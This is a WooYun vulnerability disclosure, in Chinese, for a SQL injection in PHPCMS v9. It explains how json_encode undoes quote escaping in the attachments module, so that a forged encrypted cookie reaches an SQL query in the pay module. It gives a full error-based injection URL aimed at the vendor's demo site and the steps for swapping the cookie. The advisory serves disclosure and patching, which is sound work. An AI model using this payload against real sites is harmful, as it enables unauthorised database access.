当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-025107

漏洞标题:phpcms v9 注入一枚

相关厂商:phpcms

漏洞作者: gainover

提交时间:2013-06-04 10:21

修复时间:2013-09-02 10:21

公开时间:2013-09-02 10:21

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-06-04: 细节已通知厂商并且等待厂商处理中
2013-06-04: 厂商已经确认,细节仅向厂商公开
2013-06-07: 细节向第三方安全合作伙伴开放
2013-07-29: 细节向核心白帽子及相关领域专家公开
2013-08-08: 细节向普通白帽子公开
2013-08-18: 细节向实习白帽子公开
2013-09-02: 细节向公众公开

简要描述:

PHPCMS某处代码缺陷导致SQL注入。

详细说明:

1. 首先是 /phpcms/modules/pay/spend_list.php
18 $userid = param::get_cookie('_userid');
19 $sql = " `userid` = '$userid'";
可以看到,从cookies中取出_userid,然后代入sql语句中。
如果这里cookies中的_userid我们可以构造,那么我们可以成功进行sql注入。
2. 由于phpcms的cookies进过加密函数进行了转换, 而这个加密函数中似乎又用到了一个我们无法直接获取到的authkey -->pc_base::load_config('system', 'auth_key')
3. 但是我们可以换个思路,程序在设置cookies,会调用set_cookie这个函数来进行get_cookies的逆向过程。
86 public static function set_cookie($var, $value = '', $time = 0) {
87 $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
88 $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
89 $var = pc_base::load_config('system','cookie_pre').$var;
90 $_COOKIE[$var] = $value;
91 if (is_array($value)) {
92 foreach($value as $k=>$v) {
93 setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
94 }
95 } else {
96 setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
97 }
98 }
4. 如果我们找到一个调用set_cookie的页面,并且传入的参数我们可以控制,那么是不是就有一点点希望了呢? 但实际上这里有个大问题。
假如我们控制参数 userid, userid=',
由于GPC/程序自己过滤,则 userid=\',
加密后是 userid=XXXXXXXXXXXX
解密后是 userid=\'

我们会发现,这种想法实际上,最后。。。其实。。。根本还是无法造成注入的嘛
--------------------------------------------------------
也就是说,上面实际上说的是废话,构成不了威胁,关键是下面的部分啦。~
--------------------------------------------------------
5. 但是我们依然还是抱着上面的想法,找了找set_cookie的位置。
我们找到了 /phpcms/modules/attachment/attachments.php 中的 以下代码:
228 public function swfupload_json() {
229 $arr['aid'] = intval($_GET['aid']);
230 $arr['src'] = trim($_GET['src']);
231 $arr['filename'] = urlencode($_GET['filename']);
232 $json_str = json_encode($arr);
233 $att_arr_exist = param::get_cookie('att_json');
234 $att_arr_exist_tmp = explode('||', $att_arr_exist);
235 if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
236 return true;
237 } else {
238 $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
239 param::set_cookie('att_json',$json_str);
240 return true;
241 }
242 }

可以看到这里设置了att_json这个cookies字段。

param::set_cookie('att_json',$json_str);

而$json_str来自于 json_encode($arr);

这个点有什么特别之处呢?特别之处在于 json_encode会将 \ 转变为 \\

因而,我们的 $arr的 src=' 时,

由于GPC会转变为 src=\'

由于json_encode,会转变为 {"src":"\\'"}

这样一来,单引号就不会转义啦,从而形成注入。

6. 接着就是利用过程,首先我们要利用set_cookie函数得到加密后的字符串。

在官方demo站,注册用户并登录,再访问以下URL。
http://v9.demo.phpcms.cn/index.php?m=attachment&c=attachments&a=swfupload_json&src='%20and%20(select%201%20from%20(select%20count(*),concat(user(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20;%20--%201
在chrome浏览器的cookies中,找到XXXXX_att_json这一条cookies数据,如下图:

1.jpg


复制出这条COOKIES数据。
再访问,
http://v9.demo.phpcms.cn/index.php?m=pay&c=spend_list
抓包修改COOKIES中的, XXXXX_userid这条数据,改为上面的XXXXX_att_json的数据,如下图:

2.jpg


重新提交请求,可以看到报错后的注入信息。

3.jpg

漏洞证明:

对官方demo的测试见上方【详细说明】
也写了个临时的exploit, 本地搭建环境中测试了下数据读取,需用户登录状态下来利用。

4.jpg

修复方案:

虽然注入是在/phpcms/modules/pay/spend_list.php进行的,但问题关键是 /phpcms/modules/attachment/attachments.php出现的。修复attachment/attachments.php中的问题。
具体的,我等厂商们的修复方案,然后学习学习:)

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-06-04 13:16

厂商回复:

感谢提交漏洞,该漏洞其他人提交的漏洞相似。

最新状态:

暂无